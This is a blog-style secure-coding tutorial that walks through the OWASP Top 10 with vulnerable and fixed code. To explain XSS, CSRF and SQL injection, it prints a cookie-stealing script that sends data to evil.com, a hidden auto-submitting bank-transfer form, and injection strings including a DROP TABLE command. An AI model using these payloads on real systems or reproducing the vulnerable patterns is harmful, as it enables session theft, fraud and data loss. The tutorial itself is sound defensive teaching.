Let's face it - security can feel like that vegetables-before-dessert rule your parents enforced. You know it's good for you, but it's not exactly the fun part of building web applications. But here's the thing: in a world where data breaches make headlines daily and attackers are getting increasingly creative, understanding web security isn't optional anymore. It's table stakes.
I've spent years helping teams recover from security incidents, and trust me, the cleanup is never fun. The good news? Most common vulnerabilities are entirely preventable once you understand how they work. So grab your favorite beverage, and let's walk through the OWASP Top 10 - the industry's most recognized list of critical web application security risks.
What is OWASP and Why Should You Care?
The Open Web Application Security Project (OWASP) is a nonprofit foundation that works to improve software security. Their Top 10 list is essentially the "greatest hits" of web vulnerabilities - the attacks that security professionals see exploited again and again in the wild.
Think of it as a checklist. If your application is vulnerable to any of these, you're basically leaving your front door unlocked in a neighborhood where everyone knows it.
The Big Three: XSS, CSRF, and SQL Injection
Let's start with the classics. These three vulnerabilities have been around for decades, yet they still account for a massive percentage of successful attacks. Why? Because developers keep making the same mistakes.
Cross-Site Scripting (XSS)
XSS is like that friend who repeats everything you say, except the "friend" is your website and the things being repeated are malicious scripts.
Here's how it works: an attacker injects malicious JavaScript into your application, and when other users view that content, their browsers execute the script. The browser doesn't know the difference between your legitimate code and the attacker's payload - it just runs whatever it's given.
The Vulnerable Code:
// DON'T DO THIS - Directly inserting user input into the DOM const userComment = getCommentFromDatabase(); document.getElementById('comments').innerHTML = userComment;
If someone submits a comment like <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>, congratulations - you've just helped them steal every visitor's session cookies.
The Fix:
// DO THIS - Escape HTML entities or use textContent const userComment = getCommentFromDatabase(); document.getElementById('comments').textContent = userComment; // Or use a library that escapes HTML import DOMPurify from 'dompurify'; document.getElementById('comments').innerHTML = DOMPurify.sanitize(userComment);
There are actually three types of XSS:
- Stored XSS: The malicious script is permanently stored on the target server (like in our comment example)
- Reflected XSS: The script is reflected off a web server, often via a URL parameter
- DOM-based XSS: The vulnerability exists in client-side code rather than server-side
The key defense? Never trust user input. Treat every piece of data from users like it's potentially radioactive.
Cross-Site Request Forgery (CSRF)
CSRF is social engineering for your browser. It tricks authenticated users into performing actions they didn't intend to.
Imagine you're logged into your banking site in one tab. In another tab, you visit a sketchy website that contains this hidden form:
<!-- On evil-site.com --> <form action="https://yourbank.com/transfer" method="POST" id="sneaky-form"> <input type="hidden" name="to" value="attacker-account" /> <input type="hidden" name="amount" value="10000" /> </form> <script>document.getElementById('sneaky-form').submit();</script>
Your browser helpfully sends your banking cookies along with that request. The bank sees a legitimate, authenticated request and processes it. You just lost $10,000 because you clicked on a link promising free pizza.
The Fix:
// Server-side: Generate a CSRF token const csrfToken = crypto.randomBytes(32).toString('hex'); session.csrfToken = csrfToken; // Include it in your forms <form action="/transfer" method="POST"> <input type="hidden" name="_csrf" value="${csrfToken}" /> <!-- other fields --> </form> // Validate on every state-changing request app.post('/transfer', (req, res) => { if (req.body._csrf !== req.session.csrfToken) { return res.status(403).send('Invalid CSRF token'); } // Process the legitimate request });
Modern frameworks like Next.js, Django, and Rails have built-in CSRF protection. Use it. Don't reinvent the wheel, especially when the wheel keeps attackers out.
SQL Injection
SQL injection is the granddaddy of web vulnerabilities, and it's still terrifyingly common. The concept is simple: attackers insert SQL code into input fields, and your application dutifully executes it.
The Vulnerable Code:
# DON'T DO THIS - String concatenation with user input username = request.form['username'] password = request.form['password'] query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" cursor.execute(query)
An attacker enters admin' -- as the username. Your query becomes:
SELECT * FROM users WHERE username = 'admin' --' AND password = ''
The -- comments out the rest of the query. They're now logged in as admin without knowing the password. That's not even the scary part - they could also enter '; DROP TABLE users; -- and wipe your entire user database.
The Fix:
# DO THIS - Use parameterized queries username = request.form['username'] password = request.form['password'] query = "SELECT * FROM users WHERE username = %s AND password = %s" cursor.execute(query, (username, password))
With parameterized queries (also called prepared statements), the database treats user input as data, never as executable code. It's the difference between handing someone a note versus letting them write on your whiteboard.
Beyond the Big Three: Other OWASP Top 10 Risks
Broken Access Control
This is the "oops, we forgot to check if you're allowed to do that" vulnerability. It happens when users can access resources or perform actions beyond their intended permissions.
// Vulnerable: No authorization check app.get('/api/users/:id/profile', (req, res) => { const profile = getUserProfile(req.params.id); res.json(profile); }); // Fixed: Verify the user can access this resource app.get('/api/users/:id/profile', (req, res) => { if (req.user.id !== req.params.id && !req.user.isAdmin) { return res.status(403).json({ error: 'Access denied' }); } const profile = getUserProfile(req.params.id); res.json(profile); });
Cryptographic Failures
Using MD5 for password hashing in 2026 is like using a screen door as a vault. Weak cryptography exposes sensitive data.
// DON'T DO THIS const hashedPassword = md5(password); // MD5 is broken // DO THIS const bcrypt = require('bcrypt'); const saltRounds = 12; const hashedPassword = await bcrypt.hash(password, saltRounds);
Security Misconfiguration
Default credentials, unnecessary services, verbose error messages, missing security headers - these are all security misconfigurations. It's death by a thousand cuts.
// Add security headers with Helmet.js const helmet = require('helmet'); app.use(helmet()); // This adds headers like: // Content-Security-Policy // X-Content-Type-Options: nosniff // X-Frame-Options: DENY // And more...
Insecure Design
This is about flaws in the design itself, not just implementation bugs. If your password reset sends a link that never expires and can be reused, that's insecure design.
Think about security from the start. Threat modeling isn't just for big companies - even sketching out "what could go wrong?" on a napkin is better than nothing.
Input Validation: Your First Line of Defense
I've mentioned "never trust user input" several times. Let's make that concrete.
// Comprehensive input validation example function validateUserInput(input) { // 1. Check type if (typeof input.email !== 'string') { throw new ValidationError('Email must be a string'); } // 2. Check length if (input.email.length > 254) { throw new ValidationError('Email too long'); } // 3. Check format const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; if (!emailRegex.test(input.email)) { throw new ValidationError('Invalid email format'); } // 4. Sanitize - remove potentially dangerous characters input.email = input.email.toLowerCase().trim(); // 5. For HTML content, use a sanitization library if (input.bio) { input.bio = DOMPurify.sanitize(input.bio, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong'], ALLOWED_ATTR: [] }); } return input; }
Validation should happen on both client and server sides. Client-side validation improves user experience; server-side validation provides actual security. Never rely on client-side validation alone - attackers can bypass your JavaScript entirely.
Practical Security Checklist
Here's a quick checklist you can use for your projects:
Authentication:
- Use strong password requirements (length matters more than complexity)
- Implement multi-factor authentication
- Use secure session management
- Hash passwords with bcrypt, scrypt, or Argon2
Authorization:
- Implement proper access controls
- Deny by default, explicitly grant permissions
- Validate on every request, not just the first one
Data Protection:
- Use HTTPS everywhere
- Encrypt sensitive data at rest
- Use current, strong encryption algorithms
- Never log sensitive information
Input/Output:
- Validate all input server-side
- Escape output appropriately for context
- Use parameterized queries
- Implement Content Security Policy headers
Error Handling:
- Don't expose stack traces to users
- Log errors securely for debugging
- Use generic error messages externally
The Human Element
Here's the thing about security: it's not just a technical problem. You can have the most secure code in the world, but if someone in your organization falls for a phishing email or uses "password123" for their admin account, none of that matters.
Security is a culture. It means making secure choices the easy choices. It means not getting annoyed when a colleague questions whether something is safe. It means staying curious about new threats and continuously learning.
Wrapping Up
Security isn't a feature you add at the end - it's a mindset you bring to every line of code. The vulnerabilities we've covered today aren't edge cases; they're the bread and butter of attackers worldwide.
The good news is that defending against them isn't rocket science. Use parameterized queries. Escape your output. Validate your input. Check authorization on every request. Use CSRF tokens. Keep your dependencies updated.
Will this make you invincible? No. Security is an arms race, and new vulnerabilities emerge constantly. But by understanding these fundamentals, you're already ahead of the curve. You're no longer the low-hanging fruit that attackers love to target.
Now go forth and write secure code. Your future self (and your users) will thank you.
And remember: if you think security is expensive, try calculating the cost of a breach. Suddenly those "annoying" security practices seem like a bargain.
Stay safe out there.
